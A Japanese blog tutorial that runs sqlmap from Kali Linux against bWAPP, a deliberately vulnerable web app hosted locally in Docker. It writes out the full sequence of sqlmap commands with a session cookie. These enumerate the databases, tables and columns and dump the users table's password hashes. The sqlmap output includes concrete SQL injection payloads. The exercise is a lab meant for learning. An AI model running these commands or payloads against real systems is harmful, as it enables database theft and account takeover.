おはようございます。
がじぇったー (@hackmylife7) | Twitter
です。
SQLインジェクションについて学んでいきます。
しっかり対策していないとデータベースから重要な情報の漏洩がおこったり、システムの管理者権限を引き抜かれ、乗っ取りなどの被害が発生します。
前回の記事でDockerを用い脆弱なWEBアプリケーションを構築しました。
今回はそのアプリにKai Linuxから攻撃を仕掛けていきたいと思います。
SQLインジェクションとは何か?
下記の通りですが、アプリケーションのセキュリティの不備をつく不正なSQL文を投げつけ、ユーザーのidやパスワードを抜き取る手法をいいます。
SQLインジェクション(英: SQL Injection)とは、アプリケーションのセキュリティ上の不備を意図的に利用し、アプリケーションが想定しないSQL文を実行させることにより、データベースシステムを不正に操作する攻撃方法のこと。 また、その攻撃を可能とする脆弱性のことである。
下記の画像がわかりやすいと思います。
下準備
攻撃される側の環境を用意します。
こちらの記事の通り、まずはWEBアプリケーションをDockerで起動させ、ユーザー bee、パスワード bugでログインします。
SQL Injection(GET/Search)を選択すると下記の画面になるはずです。
試しに以下のURLにコメントを含んだ不正なURLをプラウザで叩くと、SQLの構文エラーが画面上に出力されます。
http://localhost/sqli_1.php?title=1'&action=search'
このように不要なエラーコードを利用ユーザーに見せてしまうのは、
攻撃者にヒントを与えてしまいます。
Kai Linuxから攻撃する
それでは
kai linuxを立ち上げて検証しましょう。
構築方法は下記の通りです。
gadgeterkun.hatenablog.com
攻撃にはSQLMapを用います。
SQLMapのインストール
vagrant@kali:~$ sudo mkdir /opt/sqlmap vagrant@kali:~$ sudo git clone https://github.com/sqlmapproject/sqlmap.git /opt/sqlmap Cloning into '/opt/sqlmap'... remote: Enumerating objects: 71, done. remote: Counting objects: 100% (71/71), done. remote: Compressing objects: 100% (49/49), done. remote: Total 71262 (delta 45), reused 41 (delta 22), pack-reused 71191 Receiving objects: 100% (71262/71262), 64.20 MiB | 14.82 MiB/s, done. Resolving deltas: 100% (56328/56328), done. vagrant@kali:~$
GETメソッドを使った攻撃
攻撃手法はGETメソッドを用いる方法とPOSTメソッドを用いる方法があります。
今回はGETメソッドで行います。
立ち上げている脆弱なWEBアプリケーションサーバに対して攻撃をしかけていきます。
VMを起動しているホスト(mac)側でifconfigのコマンドをうってIPアドレスを確認してください。
WEBアプリケーションはDockerで起動させているので、ホスト側のIPアドレスの番portで起動しているはずです。
以下の例だと192.168.11.22がホストのIPアドレスになります。
mymac$ ifconfig en0: inet 192.168.11.22 netmask 0xffffff00 broadcast 192.168.11.255
それではkailinuxからMacでホストしてるWEBアプリケーションに対して攻撃していきます。
sqlmapをダウンロードしたディレクトリに移動
vagrant@kali:/opt/sqlmap$ cd /opt/sqlmap
攻撃コマンドは以下になります。
cookieでセッションIDを入れる必要があります。cookieの確認方法は以下参照。
Chromeのデベロッパーツールでクッキーを確認する方法 | エンジニアのキャリアサイト
攻撃コマンド(Kai Linuxから実行)
$ python sqlmap.py --url="http://192.168.11.22/sqli_1.php?title=sql" --cookie='PHPSESSID=7s1soc0ururekl7ih52averjc0; security_level=0
DatabaseがMySQLであることが判明します。Yを連続でおします。
[12:22:45] [INFO] testing connection to the target URL [12:22:46] [WARNING] potential CAPTCHA protection mechanism detected [12:22:46] [INFO] testing if the target URL content is stable [12:22:46] [INFO] target URL content is stable [12:22:46] [INFO] testing if GET parameter 'title' is dynamic [12:22:46] [WARNING] GET parameter 'title' does not appear to be dynamic [12:22:46] [INFO] heuristic (basic) test shows that GET parameter 'title' might be injectable (possible DBMS: 'MySQL') [12:22:46] [INFO] heuristic (XSS) test shows that GET parameter 'title' might be vulnerable to cross-site scripting (XSS) attacks [12:22:46] [INFO] testing for SQL injection on GET parameter 'title' it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
MySQLのバージョンやどのような脆弱性が含まれているかが出力されます。
--- Parameter: title (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment) Payload: title=sql' OR NOT 9717=9717# Type: error-based Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED) Payload: title=sql' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7178717171,(SELECT (ELT(8632=8632,1))),0x716a6a7071,0x78))s), 8446744073709551610, 8446744073709551610)))-- rcDZ Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: title=sql' AND (SELECT 6975 FROM (SELECT(SLEEP(5)))nNxK)-- bFkx Type: UNION query Title: MySQL UNION query (NULL) - 7 columns Payload: title=sql' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7178717171,0x7a4d5246434d644a64724467786a644d6867507759616d6e6251596f4a4546746f6f705848686141,0x716a6a7071),NULL,NULL,NULL# --- [12:24:10] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: Apache 2.4.7, PHP 5.5.9 back-end DBMS: MySQL >= 5.5 [12:24:10] [INFO] fetched
-
- dbsオプションをつけて再び攻撃コマンドを実行します。そうするとDB名が表示されます
$ python sqlmap.py --url="http://192.168.11.22/sqli_1.php?title=sql" --cookie='PHPSESSID=7s1soc0ururekl7ih52averjc0; security_level=0' --dbs [*] bWAPP [*] information_schema [*] mysql [*] performance_schema
DB名がわかったので、"--table" オプションをつけてコマンドを実行します
そうするとtable名も出力されてしまいます。
vagrant@kali:/opt/sqlmap$ python sqlmap.py --url="http://192.168.11.22/sqli_1.php?title=sql" --cookie='PHPSESSID=7s1soc0ururekl7ih52averjc0; security_level=0' -D bWAPP --tables
Database: bWAPP [5 tables] +----------+ | blog | | heroes | | movies | | users | | visitors | +----------+
users tableがあることがわかったので、カラムを出力させます
vagrant@kali:/opt/sqlmap$ python sqlmap.py --url="http://192.168.11.22/sqli_1.php?title=sql" --cookie='PHPSESSID=7s1soc0ururekl7ih52averjc0; security_level=0' -D bWAPP -T users --columns Database: bWAPP Table: users [9 columns] +-----------------+--------------+ | Column | Type | +-----------------+--------------+ | activated | tinyint(1) | | activation_code | varchar(100) | | admin | tinyint(1) | | email | varchar(100) | | id | int(10) | | login | varchar(100) | | password | varchar(100) | | reset_code | varchar(100) | | secret | varchar(100) | +-----------------+--------------+
loginとpasswordカラムがあることがわかったので、
続いて以下のコマンドを実行します。
vagrant@kali:/opt/sqlmap$ python sqlmap.py --url="http://192.168.11.22/sqli_1.php?title=sql" --cookie='PHPSESSID=7s1soc0ururekl7ih52averjc0; security_level=0' -D bWAPP -T users -C login,password --dump
最終的にクラックされたuserとパスワードが表示されてしまいました。
+--------+------------------------------------------------+ | login | password | +--------+------------------------------------------------+ | A.I.M. | 6885858486f31043e5839c735d99457f045affd0 (bug) | | bee | 6885858486f31043e5839c735d99457f045affd0 (bug) | +--------+------------------------------------------------+
面白い(怖い)ですね。
次回はどのようにこの攻撃を防ぐか、ということを書きたいと思います。